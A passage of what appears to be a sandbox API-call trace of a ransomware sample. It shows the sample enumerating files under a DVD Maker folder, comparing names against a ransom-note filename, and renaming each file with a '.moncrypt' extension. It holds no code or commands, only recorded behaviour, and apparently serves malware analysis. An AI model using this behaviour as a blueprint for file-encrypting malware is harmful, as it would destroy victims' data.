lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.589] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.589] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.589] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png", cchWideChar=78, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.pngt", lpUsedDefaultChar=0x0) returned 78 [0058.589] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.589] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Sports\\SceneButtonInset_Alpha2.pngt", lpUsedDefaultChar=0x0) returned 4 [0058.589] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f6ba49, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f6ba49, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="SceneButtonInset_Alpha2.png", cAlternateFileName="")) returned 0x54e280 [0058.589] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.589] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.589] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.589] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png", dwFileAttributes=0x20) returned 0 [0058.590] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.590] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha2.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha2.png.moncrypt")) returned 0 [0058.590] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71e8721b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71e8721b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SceneButtonSubpicture.png", cAlternateFileName="")) returned 1 [0058.590] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.590] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.590] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.590] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.590] GlobalUnlock (hMem=0x44000c) returned 0 [0058.590] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.590] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.590] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.590] GlobalUnlock (hMem=0x44000c) returned 0 [0058.590] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.590] GlobalUnlock (hMem=0x440004) returned 0 [0058.590] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.591] CharLowerBuffW (in: lpsz="SceneButtonSubpicture.png", cchLength=0x19 | out: lpsz="scenebuttonsubpicture.png") returned 0x19 [0058.591] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.591] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.591] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.591] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.591] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.591] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.591] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.591] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.591] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.591] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.591] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.591] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.591] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.591] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.591] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.591] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.591] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.591] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.591] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.591] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.591] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.591] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.591] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.591] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.591] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.591] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.591] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png", cchWideChar=76, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.pngp", lpUsedDefaultChar=0x0) returned 76 [0058.592] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.592] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Sports\\SceneButtonSubpicture.pngp", lpUsedDefaultChar=0x0) returned 4 [0058.592] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71e8721b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71e8721b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SceneButtonSubpicture.png", cAlternateFileName="")) returned 0x54e280 [0058.592] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.592] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.592] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.592] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png", dwFileAttributes=0x20) returned 0 [0058.593] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.593] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttonsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttonsubpicture.png.moncrypt")) returned 0 [0058.593] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0058.594] GlobalLock (hMem=0x440004) returned 0x550170 [0058.594] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.594] GlobalUnlock (hMem=0x440004) returned 0 [0058.594] GlobalLock (hMem=0x440004) returned 0x550170 [0058.594] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.594] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.594] GlobalUnlock (hMem=0x440004) returned 0 [0058.594] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.594] GlobalUnlock (hMem=0x44000c) returned 0 [0058.594] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x441780e0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x441780e0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0058.594] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0058.594] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.594] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.594] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.594] GlobalUnlock (hMem=0x44000c) returned 0 [0058.594] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.594] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.594] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.594] GlobalUnlock (hMem=0x44000c) returned 0 [0058.594] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.594] GlobalUnlock (hMem=0x440004) returned 0 [0058.594] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.594] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x441780e0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x441780e0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.594] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.595] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.595] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.595] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.595] GlobalUnlock (hMem=0x440004) returned 0 [0058.595] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.595] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.595] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.595] GlobalUnlock (hMem=0x440004) returned 0 [0058.595] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.595] GlobalUnlock (hMem=0x44000c) returned 0 [0058.595] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.595] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ead378, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ead378, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CircleSubpicture.png", cAlternateFileName="")) returned 1 [0058.595] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.595] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.595] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.595] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.595] GlobalUnlock (hMem=0x44000c) returned 0 [0058.595] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.595] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.595] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.595] GlobalUnlock (hMem=0x44000c) returned 0 [0058.595] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.595] GlobalUnlock (hMem=0x440004) returned 0 [0058.595] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.595] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ed34d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ed34d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x120d, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoldRing.png", cAlternateFileName="")) returned 1 [0058.595] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.595] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.596] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.596] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.596] GlobalUnlock (hMem=0x440004) returned 0 [0058.596] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.596] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.596] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.596] GlobalUnlock (hMem=0x440004) returned 0 [0058.596] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.596] GlobalUnlock (hMem=0x44000c) returned 0 [0058.596] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.596] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71338a7f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71338a7f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6d3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="highlight.png", cAlternateFileName="")) returned 1 [0058.596] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.596] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.596] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.596] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.596] GlobalUnlock (hMem=0x44000c) returned 0 [0058.596] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.596] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.596] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.596] GlobalUnlock (hMem=0x44000c) returned 0 [0058.596] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.596] GlobalUnlock (hMem=0x440004) returned 0 [0058.596] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.596] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ef9632, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ef9632, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xba2, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationButtonSubpicture.png", cAlternateFileName="")) returned 1 [0058.596] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.596] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.597] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.597] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.597] GlobalUnlock (hMem=0x440004) returned 0 [0058.597] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.597] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.597] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.597] GlobalUnlock (hMem=0x440004) returned 0 [0058.597] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.597] GlobalUnlock (hMem=0x44000c) returned 0 [0058.597] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.597] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ef9632, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ef9632, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xee0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NextMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0058.597] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.597] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.597] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.597] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.597] GlobalUnlock (hMem=0x44000c) returned 0 [0058.597] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.597] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.597] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.597] GlobalUnlock (hMem=0x44000c) returned 0 